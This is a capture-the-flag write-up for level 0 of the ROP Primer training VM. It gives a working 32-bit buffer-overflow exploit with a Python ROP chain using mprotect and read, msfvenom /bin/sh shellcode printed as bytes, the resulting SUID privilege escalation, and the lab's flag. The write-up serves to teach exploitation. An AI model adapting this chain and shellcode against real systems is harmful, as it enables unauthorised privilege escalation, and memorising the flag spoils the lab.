published on in writeup
tags: rop primer

ROP Primer: Level 0

This VM is meant as a small introduction to 32-bit return-oriented-programming on Linux. It contains three vulnerable binaries, that must be exploited using ROP. There are three levels in total (0 to 2).

The VM is running a webserver with some instructions on how to get started with level0, by SSH’ing in.

[email protected]:~$ ls -l

-rw-r----- 1 level1 level1     25 Jan 20  2015 flag
-rwsr-xr-x 1 level1 level1 595992 Jan 20  2015 level0

A SUID binary and a flag, both owned by level1. Exploiting the binary will give us access to the flag, nice and easy.

[email protected]:~$ ./level0
[+] ROP tutorial level0
[+] What's your name? Rasta Mouse
[+] Bet you can't ROP me, Rasta Mouse!

[email protected]:~$ file level0
level0: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=fb91c352b4d0f9680d22497e348340fe88d0fdf8, not stripped

[email protected]:~$ gdb -q level0
Reading symbols from level0...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

[email protected]:~$ cat /proc/sys/kernel/randomize_va_space
0

It’s handy that peda has been installed on the VM, as that should make things a bit easier. The binary is statically linked, compiled with a non-exec stack and ASLR has been disabled.

We can force the binary into a seg fault by sending it a large input.

[email protected]:~$ python -c 'print "A" * 50' | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault

We can find what is getting overwritten in gdb.

[email protected]:~$ python -c 'print "A" * 50' > exploit

[email protected]:~$ gdb -q level0
gdb-peda$ r < exploit

EAX: 0x0
EBX: 0x0
ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80cb690 --> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>:  push   ebp)
EDI: 0x41578b07
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff700 --> 0x4141 ('AA')
EIP: 0x41414141 ('AAAA')

Stopped reason: SIGSEGV
0x41414141 in ?? ()

We’ve overwritten EBP and crucially, EIP. Now find the offset.

gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

Stopped reason: SIGSEGV
0x41414641 in ?? ()

gdb-peda$ pattern_offset 0x41414641
1094796865 found at offset: 44

To test this out:

[email protected]:~$ python -c 'print "A" * 44 + "BBBB"' > exploit
gdb-peda$ r < exploit

Stopped reason: SIGSEGV
0x42424242 in ?? ()

This is good, as we have accurately targetted EIP. But now what… There are a couple of ways to solve this - one possibility is to construct a complete ROP chain and set the registers up to use an execve syscall. Another is to use some of the handy shortcuts barrebas placed.

system is not linked in the binary, but mprotect and read are.

gdb-peda$ p system
No symbol table is loaded.

gdb-peda$ p mprotect
$1 = {<text variable, no debug info>} 0x80523e0 <mprotect>

gdb-peda$ p read
$2 = {<text variable, no debug info>} 0x80517f0 <read>

We can use mprotect to effectively undo the protection provided by NX; then read shellcode in.

gdb-peda$ b main
gdb-peda$ r
gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x080ca000 r-xp    /home/level0/level0
0x080ca000 0x080cb000 rw-p    /home/level0/level0
0x080cb000 0x080ef000 rw-p    [heap]
0xb7fff000 0xb8000000 r-xp    [vdso]
0xbffdf000 0xc0000000 rw-p    [stack]

mprotect

These are the areas of memory, none of which are executable (donated by the x character). I’m going to make part of the [stack] region executable, so let’s start building our exploit.

#/usr/bin/python

import struct

def p(x):
        return struct.pack('<L', x)

rop = ""
rop += "A" * 44
rop += p(0x80523e0)     # mprotect
rop += "FAKE"           # fake ret
rop += p(0xbffdf000)    # stack
rop += p(0x100)         # size
rop += p(0x7)           # exec

print rop
[email protected]:~$ python exploit.py > exploit
gdb-peda$ r < exploit

Stopped reason: SIGSEGV
0x454b4146 in ?? ()

gdb-peda$ vmmap
Start      End        Perm    Name
0xbffdf000 0xbffe0000 rwxp    mapped

The binary crashes on the FAKE return address and we can see that the area of memory we specified is now executable. To clear up and prepare for the next step, we should clear those arguments for mprotect off the stack. A pop3ret will do the job - to find one we can utilise the ropgadget in peda.

gdb-peda$ ropgadget
pop3ret = 0x8048882

Let’s use this as the return address for mprotect. For sanities sake, we’ll put a breakpoint there and step through the gadget.

gdb-peda$ b *0x8048881

Breakpoint 1, 0x08048882 in __libc_setup_tls ()

=> 0x8048882 <__libc_setup_tls+498>:    pop    esi
   0x8048883 <__libc_setup_tls+499>:    pop    edi
   0x8048884 <__libc_setup_tls+500>:    pop    ebp
   0x8048885 <__libc_setup_tls+501>:    ret

If we run though, EIP eventually seg faults on 0.

Stopped reason: SIGSEGV
0x00000000 in ?? ()

We can now add a new instruction into the exploit, to ensure we still have control over execution flow.

rop = ""
rop += "A" * 44
rop += p(0x80523e0)     # mprotect
rop += p(0x8048882)     # pop3ret
rop += p(0xbffdf000)    # stack
rop += p(0x100)         # size
rop += p(0x7)           # exec

rop += "BBBB"
Stopped reason: SIGSEGV
0x42424242 in ?? ()

0xbffdf000 0xbffe0000 rwxp    mapped

read

Now we can set up our ROP to read. This will allow us to read shellcode from stdin into our mapped area of the stack, and execute.

rop = ""
rop += "A" * 44
rop += p(0x80523e0)     # mprotect
rop += p(0x8048882)     # pop3ret
rop += p(0xbffdf000)    # stack
rop += p(0x100)         # size
rop += p(0x7)           # exec

rop += p(0x80517f0)     # read
rop += "FAKE"           # fake ret
rop += p(0x0)           # stdin
rop += p(0xbffdf000)    # stack
rop += p(0x100)         # size

In setting up read; we specify a fake return again, where to read from (stdin), the area of memory we wish to read into and the amount of memory.

Stopped reason: SIGSEGV
0x454b4146 in ?? ()

Now let’s replace the fake return address with the same pop3ret we used earlier. Then write a new block we can segfault on.

rop = ""
rop += "A" * 44
rop += p(0x80523e0)     # mprotect
rop += p(0x8048882)     # pop3ret
rop += p(0xbffdf000)    # stack
rop += p(0x100)         # size
rop += p(0x7)           # exec

rop += p(0x80517f0)     # read
rop += p(0x8048882)       # fake ret
rop += p(0x0)           # stdin
rop += p(0xbffdf000)    # stack
rop += p(0x100)         # size 

rop += "BBBB"
Stopped reason: SIGSEGV
0x42424242 in ?? ()

stdin

Now we need to test that we can actually read something in from stdin and have it execute. We’ll replace BBBB with the address of our executable stack location and run the exploit outside gdb.

#/usr/bin/python

import struct

def p(x):
        return struct.pack('<L', x)

rop = ""
rop += "A" * 44
rop += p(0x80523e0)     # mprotect
rop += p(0x8048882)     # pop3ret
rop += p(0xbffdf000)    # stack
rop += p(0x100)         # size
rop += p(0x7)           # exec

rop += p(0x80517f0)     # read
rop += p(0x8048882)     # pop3ret 
rop += p(0x0)           # stdin
rop += p(0xbffdf000)    # stack
rop += p(0x100)         # size 

rop += p(0xbffdf000)

print rop

A quick and easy way to test the exploit, is to use a trap. This will stop execution flow just like a breakpoint does in gdb, and we get a message on stdout to let us know it’s happened.

[email protected]:~$ (python exploit.py; python -c 'print "\xcc\xcc"') | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���!
Trace/breakpoint trap

The final stage is to put some useful shellcode in.

[email protected]:~# msfvenom -p linux/x86/exec cmd=/bin/sh -f c | tr -d \" | tr -d ";" | tr -d '\n'

\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80
[email protected]:~$ (python exploit.py; python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80"'; cat) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���!
id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
whoami
level1

The additional cat keeps the shell alive.

Flag

cat flag
flag{rop_the_night_away}